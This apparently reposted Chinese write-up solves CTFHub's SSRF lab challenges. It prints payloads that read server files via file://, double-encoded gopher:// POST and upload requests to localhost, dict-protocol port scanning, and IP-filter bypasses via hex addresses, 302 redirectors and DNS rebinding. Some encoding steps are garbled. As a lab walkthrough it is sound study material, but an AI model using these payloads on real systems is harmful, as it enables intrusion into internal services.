CTFHub -web-ssrf总结 (除去fastcgi和redis)超详细

2023-12-27 09:59

本文主要是介绍CTFHub -web-ssrf总结 (除去fastcgi和redis)超详细,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CTFHub -web-ssrf 练习总结

一,内网访问

尝试访问位于127.0.0.1的flag.php吧

所以我们可以直接构建url:

/?url=http://127.0.0.1/flag.php

进行访问即可成功


二,为协议读取文件

尝试去读取一下Web目录下的flag.php吧

我们先尝试

?url=http://127.0.0.1/flag.php

发现访问不见

这道题说白了是让我们访问本地计算机的web文件

所以我们使用 file 协议读取构造:

/url=file:///var/www/html/flag.php

端口扫描

来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

本题使用了dict协议:

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,在SSRF中如果可以使用此协议,就可以轻易获取目标服务器端口上运行的服务版本等信息(远程利用)

也就是说在这1000个端口中有一个正确的,只要我们输入正确的端口号我们就能成功链接。一个个尝试太麻烦所以我们使用 burp suite 进行爆破

使用inturder进行爆破

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5nDXu1dT-1644583980002)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220210125240036.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S1jrYVy3-1644583980003)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220210125409860.png)]

开始爆破:

在这里插入图片描述

发现使用端口为:8460

我们尝试访问发现:

在这里插入图片描述

访问成功!


post请求

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

直接访问 flag.php发现我们得到一个输入框

应为是Gopher协议,所以

发送http post请求

  • POSTGET传参的区别:它有4个参数为必要参数
  • 需要传递Content-Type,Content-Length,host,post的参数
  • post.php中写入`<?php echo “Hello”.$_POST[‘name’]."\n";?

常见的表单数据提交数据的编码类型content-type

  • application/x-www-form-urlencoded
  • application/json
  • multipart/form-data
  • text/xml

在HTTP协议中,Content-Length用于描述HTTP消息实体的传输长度

查看源码,发现一个key值 key=c0c21c416598cd1762347539b297ab64

在这里插入图片描述

我们尝试通过file协议读取index.php 和flag.php的页面源码

<?phperror_reporting(0);if (!isset($_REQUEST['url'])){header("Location: /?url=_");exit;
}$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

发现是curl请求

尝试使用尝试使用 Gopher 协议向服务器发送 POST 包

首先进行构造:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencodedkey=c0c21c416598cd1762347539b297ab64

注:

  • key值是自己所获得的
  • 在使用 Gopher协议发送 POST请求包时,HostContent-TypeContent-Length请求头是必不可少的,但在 GET请求中可以没有。

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

所以我们在构造是应该进行两次 url 编码:

第一次:

POST%20%2Fflag.php%20HTTP%2F1.1
Host%3A%20127.0.0.1%3A80
Content-Length%3A%2036
Content-Type%3A%20application%2Fx-www-form-urlencoded
%20
key=c0c21c416598cd1762347539b297ab64

在第一次编码后的数据中,将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

POST%20/flag.php%20HTTP/1.1%0D%0A

Host:%20127.0.0.1:80%0D%0A

Content-Length:%2036%0D%0A

Content-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0A

key=c0c21c416598cd1762347539b297ab64

第二次编码:

POST%20/flag.php%20HTTP/1.1%0D%0A

Host:%20127.0.0.1:80%0D%0A

Content-Length:%2036%0D%0A

Content-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0A

key=c0c21c416598cd1762347539b297ab64

因为flag.php中的$_SERVER["REMOTE_ADDR"]无法绕过,只能通过index.php页面中的curl功能向目标发送 POST请求,构造如下Payload:

发送 post请求,得到flag


上传文件

这次需要上传一个文件到flag.php了.祝你好运

首先我们尝试链接 flag.php ?url=127.0.0.1/flag.php

发现没有提交按钮:
在这里插入图片描述

按f12 查看源码 ,在form 表单 写入 submit :
在这里插入图片描述

(发现上传方式为 post)

然后点击提交,发现:

在这里插入图片描述

因为是post提交,所以我们想到了上一关的方法:

所以我们重新上传文件,使用BP抓包:

在这里插入图片描述

将我们抓到的包来构建我们的post:

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----235940775326885148721908057331------235940775326885148721908057331
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plainSSRF Upload
------235940775326885148721908057331
Content-Disposition: form-data; name="submit"提交
------235940775326885148721908057331--

然后进行两次url编码 第一次要将%0A修改为%0D%0A

http://challenge-1d67d346a1cd97e1.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250A
Host%253A%2520127.0.0.1%250D%250A
Content-Length%253A%2520292%250D%250A
Content-Type%253A%2520multipart/form-data%253B%2520boundary%253D----235940775326885148721908057331%250D%250A%250D%250A------235940775326885148721908057331%250D%250A
Content-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250A
Content-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------235940775326885148721908057331%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A
%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------235940775326885148721908057331--

点击上传发现成功!

URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

打开链接:

在这里插入图片描述

我们可以使用HTTP 基本身份认证绕过:

​ HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
​ 也就是:http://www.xxx.com@www.yyy.com形式

?url=
http://notfound.ctfhub.com@127.0.0.1/flag.php

回车,获得 flag

数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

我们知道本地主机地址有两种表示方式,一个是127.0.0.1 一种是localhost 所以我们可以尝试使用localhost 进行访问,但本题并不是考察这一点

我们先尝试使用127.0.0.1进行访问:

在这里插入图片描述

发现数字每三位被画了一个数杠

在看一开始的提示说我们不能使用十进制的 ip了

所以我们可以使用 别的进制例如 十六进制

八进制:0177.000.000.001
十进制:127.0.0.1
十六进制:0x7f000001

进行构造

?url=
0x7f000001/flag.php

提交,即可获得 flag

302跳转 Bypass

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

我们使用 127.0.0.1 进行链接 发现失败

想到上一关是使用 localhost 直接链接成功 所以我在尝试 发现成功获取 flag

查看源代码,不难发现使用的是黑名单

?url=file:///var/www/html/flag.php

我们发现这里存在这黑名单,限制了127 、172、10、192。但是没有限制localhost。

?url=
localhost/flag.php

但想到开始的 302跳转 知道本题绝不是考察这个

我们先了解下 http临时重定向

HTTP重定向:服务器无法处理浏览器发送过来的请求(request),服务器告诉浏览器跳转到可以处理请求的url上。(浏览器会自动访问该URL地址,以至于用户无法分辨是否重定向了。)
重定向的返回码3XX说明。Location响应首部包含了内容的新地址或是优选地址的URL。

状态码

301:在请求的URL已被移除时使用。响应的Location首部中应该包含资源现在所处的URL。
302:与301状态码类似,但是,客户端应该使用Location首部给出的URL来临时定位资源,将来的请求仍然使用老的URL。

官方的比较简洁的说明:

  • 301 redirect: 301 代表永久性转移(Permanently Moved)
  • 302 redirect: 302 代表暂时性转移(Temporarily Moved )

HTTP 302跳转?

我们先从网址说起,再说浏览器和服务器之间的应答状态码,再谈网络中302的作用以及这个标准的http状态码能够解决什么问题。
  在互联网世界里面,已经存在数亿量级的网页,如何管理及标识每一个网页以及方便浏览器寻址到此网页并展示呢?
其中,每个网页都对应着一个URL(Uniform ResourceLocation)地址,也叫网址,类似于一个真实世界中的门牌地址一样,真实世界中标识了物理地址(如北京市朝阳区某小区张大妈家的门牌号)。

同样道理,网址标识了一个web页面所在的互联网里面的真实地址(这个页面处于www.baidu.com/file/1.html,处于baidu服务器file路径下的1这个文件)。

当你用浏览器点击一个页面链接的时候,随即你看到了一个新的网页展示在浏览器内,在这个过程中,浏览器其实是在不断的接收服务器端的应答(这个应答是服务器端的状态,所以返回码叫状态码),从而来决策下一步来做什么(尽管大部分情况下,你毫无感知的就打开了你想要的页面),这个应答即状态码(status code),

301表示这个网页已经永久的由服务器的A路径下移动到路径B下,302表示临时移动到B路径下,对应到Url地址也即http://baidu.com/file/A/1.html到http://baidu.com/file/B/1.html,
当浏览器访问前面一个地址的时候,这个时候服务器会告知浏览器,请到B路径下获取这个文件,随后浏览器重新发起网络请求,请求B路径下的页面,经过渲染,呈现给用户,例如淘宝的例子,请求taobao.com,收到302,从而浏览器再次请求www.taobao.com获得页面内容。

回想之前我们查看的源码:

在我们并没有在flag.php中看到 提示语:hacker! Ban Intranet IP 换句话说在 flag.php中没有黑名单

在index.php在存在过滤

index是普遍意义上的“首页”,也就是你输入一个域名后会打开一个页面,基本上就是index.xxxx(基本上首页都不会把index.xxxx显示在url里,但也不绝对)

我们访问的也是 flag.php

只要想办法绕过前面的index.php即可

换句话说,这就是 302跳转。

短链接变换通过检索短网址上的数据库链接,再跳转原(长)链接访问。
实际上这就是一种302

我们尝试构建短网址:

短链接变换推荐链接:https://www.985.so/

?url=127.0.0.1/flag.php--------->  http://33h.co/kypf3

进行访问,得到 flag

同样的思路

还有一种方法:

先登录一个公网 从然后在读取我们写的文件 在跳转到 flag.php

编写一下代码

#302.php<?php header("Location:http://127.0.0.1/flag.php");

我们需要将这个php放在公网上,拼接到url访问,就能实现302跳转

payload:?url=http://[公网IP]/302.php

DNS重绑定 Bypass

关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

在做这道题时我们要先了解下 DNS重绑定

我们都知道 DNS是计算机域名服务器,在Internet上域名与IP地址之间是一一对应的,域名虽然便于人们记忆,但机器之间只能互相认识IP地址,它们之间的转换工作称为域名解析,而域名解析需要由专门的域名解析服务器来完成,这就是DNS域名服务器。

DNS Rebinding

在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

换句话说,在我们用浏览器请求ip地址的时候 ,如果我们将 DNSTTL值设置的很小,那么攻击者就会利用这个,先让这个域名匹配一个对的ip地址 然后缓存很快失效,电脑再次发起请求,这时候 这个域名对应了攻击者的恶意ip地址,但我们前后访问的域名是一样的,电脑就会认为这个ip地址是安全的,这就是 DNS攻击漏洞

现在可以开始做题了

我们先尝试访问 :

?url=127.0.0.1/flag.php

发现访问失败

尝试使用 localhost 访问 发现失败

?url=
localhost/flag.php

开始使用我i们的DNS重绑定

通过rbndr.us dns rebinding service (cmpxchg8b.com),进行网站的DNS设置

网站的DNS设置:

这个网站会随机指向两个绑定地址的其中一个,由于127段是回环地址,将AB设置成127.0.0.1127.0.0.2,每一个都能访问localhost

构造:

?url=
7f000001.7f000002.rbndr.us/flag.php

这篇关于CTFHub -web-ssrf总结 (除去fastcgi和redis)超详细的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/542744

相关文章

Java调用DeepSeek API的最佳实践及详细代码示例

《Java调用DeepSeekAPI的最佳实践及详细代码示例》:本文主要介绍如何使用Java调用DeepSeekAPI,包括获取API密钥、添加HTTP客户端依赖、创建HTTP请求、处理响应、... 目录1. 获取API密钥2. 添加HTTP客户端依赖3. 创建HTTP请求4. 处理响应5. 错误处理6.

Spring AI集成DeepSeek的详细步骤

《SpringAI集成DeepSeek的详细步骤》DeepSeek作为一款卓越的国产AI模型,越来越多的公司考虑在自己的应用中集成,对于Java应用来说,我们可以借助SpringAI集成DeepSe... 目录DeepSeek 介绍Spring AI 是什么?1、环境准备2、构建项目2.1、pom依赖2.2

Goland debug失效详细解决步骤(合集)

《Golanddebug失效详细解决步骤(合集)》今天用Goland开发时,打断点,以debug方式运行,发现程序并没有断住,程序跳过了断点,直接运行结束,网上搜寻了大量文章,最后得以解决,特此在这... 目录Bug:Goland debug失效详细解决步骤【合集】情况一:Go或Goland架构不对情况二:

redis群集简单部署过程

《redis群集简单部署过程》文章介绍了Redis,一个高性能的键值存储系统,其支持多种数据结构和命令,它还讨论了Redis的服务器端架构、数据存储和获取、协议和命令、高可用性方案、缓存机制以及监控和... 目录Redis介绍1. 基本概念2. 服务器端3. 存储和获取数据4. 协议和命令5. 高可用性6.

Python itertools中accumulate函数用法及使用运用详细讲解

《Pythonitertools中accumulate函数用法及使用运用详细讲解》:本文主要介绍Python的itertools库中的accumulate函数,该函数可以计算累积和或通过指定函数... 目录1.1前言:1.2定义:1.3衍生用法:1.3Leetcode的实际运用:总结 1.1前言:本文将详

Deepseek R1模型本地化部署+API接口调用详细教程(释放AI生产力)

《DeepseekR1模型本地化部署+API接口调用详细教程(释放AI生产力)》本文介绍了本地部署DeepSeekR1模型和通过API调用将其集成到VSCode中的过程,作者详细步骤展示了如何下载和... 目录前言一、deepseek R1模型与chatGPT o1系列模型对比二、本地部署步骤1.安装oll

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

Spring Boot整合log4j2日志配置的详细教程

《SpringBoot整合log4j2日志配置的详细教程》:本文主要介绍SpringBoot项目中整合Log4j2日志框架的步骤和配置,包括常用日志框架的比较、配置参数介绍、Log4j2配置详解... 目录前言一、常用日志框架二、配置参数介绍1. 日志级别2. 输出形式3. 日志格式3.1 PatternL

Springboot 中使用Sentinel的详细步骤

《Springboot中使用Sentinel的详细步骤》文章介绍了如何在SpringBoot中使用Sentinel进行限流和熔断降级,首先添加依赖,配置Sentinel控制台地址,定义受保护的资源,... 目录步骤 1: 添加 Sentinel 依赖步骤 2: 配置 Sentinel步骤 3: 定义受保护的

JavaWeb-WebSocket浏览器服务器双向通信方式

《JavaWeb-WebSocket浏览器服务器双向通信方式》文章介绍了WebSocket协议的工作原理和应用场景,包括与HTTP的对比,接着,详细介绍了如何在Java中使用WebSocket,包括配... 目录一、概述二、入门2.1 POM依赖2.2 编写配置类2.3 编写WebSocket服务2.4 浏